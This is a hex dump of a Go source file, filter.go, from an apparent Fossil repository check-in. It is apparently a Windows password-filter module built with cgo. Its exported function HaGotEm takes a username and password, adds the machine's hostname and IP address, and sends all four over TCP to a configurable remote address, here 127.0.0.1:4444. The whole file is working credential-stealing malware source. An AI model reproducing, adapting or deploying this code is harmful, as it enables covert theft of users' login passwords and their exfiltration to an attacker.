Artifact
beaf91822d5abd3ac45175c873b80cde8c8793c2da7d763ff2a0471f9560e7af:
- File
filter.go
— part of check-in
[f2dea56b19]
at
2019-06-07 00:51:53
on branch trunk
— Initial Commit
(user:
brimstone
size: 1559)
0000: 70 61 63 6b 61 67 65 20 6d 61 69 6e 0a 0a 2f 2f package main..//
0010: 2f 2f 2f 2f 20 23 63 67 6f 20 4c 44 46 4c 41 47 //// #cgo LDFLAG
0020: 53 3a 20 2d 6c 77 69 6e 6d 6d 0a 69 6d 70 6f 72 S: -lwinmm.impor
0030: 74 20 22 43 22 0a 0a 69 6d 70 6f 72 74 20 28 0a t "C"..import (.
0040: 09 22 66 6d 74 22 0a 09 22 6e 65 74 22 0a 09 22 ."fmt".."net".."
0050: 6f 73 22 0a 09 22 74 69 6d 65 22 0a 29 0a 0a 66 os".."time".)..f
0060: 75 6e 63 20 67 65 74 49 50 41 64 64 72 65 73 73 unc getIPAddress
0070: 28 29 20 73 74 72 69 6e 67 20 7b 0a 09 69 2c 20 () string {..i,
0080: 65 72 72 20 3a 3d 20 6e 65 74 2e 49 6e 74 65 72 err := net.Inter
0090: 66 61 63 65 73 28 29 0a 09 69 66 20 65 72 72 20 faces()..if err
00a0: 21 3d 20 6e 69 6c 20 7b 0a 09 09 72 65 74 75 72 != nil {...retur
00b0: 6e 20 22 3c 6e 69 6c 3e 22 0a 09 7d 0a 09 66 6f n "<nil>"..}..fo
00c0: 72 20 5f 2c 20 61 20 3a 3d 20 72 61 6e 67 65 20 r _, a := range
00d0: 69 20 7b 0a 09 09 69 66 20 61 2e 46 6c 61 67 73 i {...if a.Flags
00e0: 26 6e 65 74 2e 46 6c 61 67 55 70 20 3d 3d 20 30 &net.FlagUp == 0
00f0: 20 7c 7c 20 61 2e 46 6c 61 67 73 26 6e 65 74 2e || a.Flags&net.
0100: 46 6c 61 67 4c 6f 6f 70 62 61 63 6b 20 21 3d 20 FlagLoopback !=
0110: 30 20 7b 0a 09 09 09 63 6f 6e 74 69 6e 75 65 0a 0 {....continue.
0120: 09 09 7d 0a 09 09 69 66 20 6e 2c 20 65 72 72 20 ..}...if n, err
0130: 3a 3d 20 61 2e 41 64 64 72 73 28 29 3b 20 65 72 := a.Addrs(); er
0140: 72 20 3d 3d 20 6e 69 6c 20 7b 0a 09 09 09 66 6f r == nil {....fo
0150: 72 20 5f 2c 20 61 64 20 3a 3d 20 72 61 6e 67 65 r _, ad := range
0160: 20 6e 20 7b 0a 09 09 09 09 76 61 72 20 72 20 6e n {.....var r n
0170: 65 74 2e 49 50 0a 09 09 09 09 73 77 69 74 63 68 et.IP.....switch
0180: 20 61 64 2e 28 74 79 70 65 29 20 7b 0a 09 09 09 ad.(type) {....
0190: 09 63 61 73 65 20 2a 6e 65 74 2e 49 50 4e 65 74 .case *net.IPNet
01a0: 3a 0a 09 09 09 09 09 72 20 3d 20 61 64 2e 28 2a :......r = ad.(*
01b0: 6e 65 74 2e 49 50 4e 65 74 29 2e 49 50 0a 09 09 net.IPNet).IP...
01c0: 09 09 63 61 73 65 20 2a 6e 65 74 2e 49 50 41 64 ..case *net.IPAd
01d0: 64 72 3a 0a 09 09 09 09 09 72 20 3d 20 61 64 2e dr:......r = ad.
01e0: 28 2a 6e 65 74 2e 49 50 41 64 64 72 29 2e 49 50 (*net.IPAddr).IP
01f0: 0a 09 09 09 09 64 65 66 61 75 6c 74 3a 0a 09 09 .....default:...
0200: 09 09 09 63 6f 6e 74 69 6e 75 65 0a 09 09 09 09 ...continue.....
0210: 7d 0a 09 09 09 09 69 66 20 72 2e 49 73 4c 6f 6f }.....if r.IsLoo
0220: 70 62 61 63 6b 28 29 20 7c 7c 20 72 2e 49 73 55 pback() || r.IsU
0230: 6e 73 70 65 63 69 66 69 65 64 28 29 20 7c 7c 20 nspecified() ||
0240: 72 2e 49 73 4d 75 6c 74 69 63 61 73 74 28 29 20 r.IsMulticast()
0250: 7c 7c 20 72 2e 49 73 49 6e 74 65 72 66 61 63 65 || r.IsInterface
0260: 4c 6f 63 61 6c 4d 75 6c 74 69 63 61 73 74 28 29 LocalMulticast()
0270: 20 7c 7c 20 72 2e 49 73 4c 69 6e 6b 4c 6f 63 61 || r.IsLinkLoca
0280: 6c 4d 75 6c 74 69 63 61 73 74 28 29 20 7c 7c 20 lMulticast() ||
0290: 72 2e 49 73 4c 69 6e 6b 4c 6f 63 61 6c 55 6e 69 r.IsLinkLocalUni
02a0: 63 61 73 74 28 29 20 7b 0a 09 09 09 09 09 63 6f cast() {......co
02b0: 6e 74 69 6e 75 65 0a 09 09 09 09 7d 0a 09 09 09 ntinue.....}....
02c0: 09 69 66 20 70 20 3a 3d 20 72 2e 54 6f 34 28 29 .if p := r.To4()
02d0: 3b 20 70 20 21 3d 20 6e 69 6c 20 7b 0a 09 09 09 ; p != nil {....
02e0: 09 09 72 65 74 75 72 6e 20 70 2e 53 74 72 69 6e ..return p.Strin
02f0: 67 28 29 0a 09 09 09 09 7d 0a 09 09 09 09 72 65 g().....}.....re
0300: 74 75 72 6e 20 72 2e 53 74 72 69 6e 67 28 29 0a turn r.String().
0310: 09 09 09 7d 0a 09 09 7d 20 65 6c 73 65 20 7b 0a ...}...} else {.
0320: 09 09 09 72 65 74 75 72 6e 20 22 3c 6e 69 6c 3e ...return "<nil>
0330: 22 0a 09 09 7d 0a 09 7d 0a 09 72 65 74 75 72 6e "...}..}..return
0340: 20 22 3c 6e 69 6c 3e 22 0a 7d 0a 0a 76 61 72 20 "<nil>".}..var
0350: 72 65 6d 6f 74 65 20 3d 20 22 31 32 37 2e 30 2e remote = "127.0.
0360: 30 2e 31 3a 34 34 34 34 22 0a 0a 2f 2f 65 78 70 0.1:4444"..//exp
0370: 6f 72 74 20 48 61 47 6f 74 45 6d 0a 66 75 6e 63 ort HaGotEm.func
0380: 20 48 61 47 6f 74 45 6d 28 6c 20 43 2e 69 6e 74 HaGotEm(l C.int
0390: 2c 20 75 20 2a 43 2e 63 68 61 72 2c 20 6e 20 43 , u *C.char, n C
03a0: 2e 69 6e 74 2c 20 70 20 2a 43 2e 63 68 61 72 29 .int, p *C.char)
03b0: 20 43 2e 69 6e 74 20 7b 0a 09 61 20 3a 3d 20 5b C.int {..a := [
03c0: 5d 62 79 74 65 28 43 2e 47 6f 53 74 72 69 6e 67 ]byte(C.GoString
03d0: 4e 28 75 2c 20 6c 29 29 0a 09 79 20 3a 3d 20 5b N(u, l))..y := [
03e0: 5d 62 79 74 65 28 43 2e 47 6f 53 74 72 69 6e 67 ]byte(C.GoString
03f0: 4e 28 70 2c 20 6e 29 29 0a 09 65 20 3a 3d 20 6d N(p, n))..e := m
0400: 61 6b 65 28 5b 5d 72 75 6e 65 2c 20 6c 2f 32 29 ake([]rune, l/2)
0410: 0a 09 6b 20 3a 3d 20 6d 61 6b 65 28 5b 5d 72 75 ..k := make([]ru
0420: 6e 65 2c 20 6e 2f 32 29 0a 09 66 6f 72 20 69 20 ne, n/2)..for i
0430: 3a 3d 20 30 3b 20 69 20 3c 20 6c 65 6e 28 61 29 := 0; i < len(a)
0440: 3b 20 69 20 2b 3d 20 32 20 7b 0a 09 09 65 5b 69 ; i += 2 {...e[i
0450: 2f 32 5d 20 3d 20 72 75 6e 65 28 61 5b 69 5d 29 /2] = rune(a[i])
0460: 0a 09 7d 0a 09 66 6f 72 20 69 20 3a 3d 20 30 3b ..}..for i := 0;
0470: 20 69 20 3c 20 6c 65 6e 28 79 29 3b 20 69 20 2b i < len(y); i +
0480: 3d 20 32 20 7b 0a 09 09 6b 5b 69 2f 32 5d 20 3d = 2 {...k[i/2] =
0490: 20 72 75 6e 65 28 79 5b 69 5d 29 0a 09 7d 0a 09 rune(y[i])..}..
04a0: 68 2c 20 65 72 72 20 3a 3d 20 6f 73 2e 48 6f 73 h, err := os.Hos
04b0: 74 6e 61 6d 65 28 29 0a 09 69 66 20 65 72 72 20 tname()..if err
04c0: 21 3d 20 6e 69 6c 20 7b 0a 09 09 68 20 3d 20 22 != nil {...h = "
04d0: 22 0a 09 7d 0a 09 78 2c 20 65 72 72 20 3a 3d 20 "..}..x, err :=
04e0: 6e 65 74 2e 44 69 61 6c 54 69 6d 65 6f 75 74 28 net.DialTimeout(
04f0: 22 74 63 70 22 2c 20 72 65 6d 6f 74 65 2c 20 74 "tcp", remote, t
0500: 69 6d 65 2e 44 75 72 61 74 69 6f 6e 28 35 2a 74 ime.Duration(5*t
0510: 69 6d 65 2e 53 65 63 6f 6e 64 29 29 0a 09 69 66 ime.Second))..if
0520: 20 65 72 72 20 21 3d 20 6e 69 6c 20 7b 0a 09 09 err != nil {...
0530: 72 65 74 75 72 6e 20 43 2e 69 6e 74 28 2d 31 29 return C.int(-1)
0540: 0a 09 7d 0a 09 64 65 66 65 72 20 78 2e 43 6c 6f ..}..defer x.Clo
0550: 73 65 28 29 0a 09 64 20 3a 3d 20 5b 5d 62 79 74 se()..d := []byt
0560: 65 28 66 6d 74 2e 53 70 72 69 6e 74 66 28 22 5b e(fmt.Sprintf("[
0570: 25 73 3a 28 25 73 29 25 73 3a 25 73 5d 5c 6e 22 %s:(%s)%s:%s]\n"
0580: 2c 20 68 2c 20 67 65 74 49 50 41 64 64 72 65 73 , h, getIPAddres
0590: 73 28 29 2c 20 73 74 72 69 6e 67 28 65 29 2c 20 s(), string(e),
05a0: 73 74 72 69 6e 67 28 6b 29 29 29 0a 09 69 66 20 string(k)))..if
05b0: 5f 2c 20 65 72 72 20 3a 3d 20 78 2e 57 72 69 74 _, err := x.Writ
05c0: 65 28 64 29 3b 20 65 72 72 20 21 3d 20 6e 69 6c e(d); err != nil
05d0: 20 7b 0a 09 09 72 65 74 75 72 6e 20 43 2e 69 6e {...return C.in
05e0: 74 28 2d 31 29 0a 09 7d 0a 09 78 2e 43 6c 6f 73 t(-1)..}..x.Clos
05f0: 65 28 29 0a 09 72 65 74 75 72 6e 20 43 2e 69 6e e()..return C.in
0600: 74 28 30 29 0a 7d 0a 0a 66 75 6e 63 20 6d 61 69 t(0).}..func mai
0610: 6e 28 29 20 7b 7d 0a n() {}.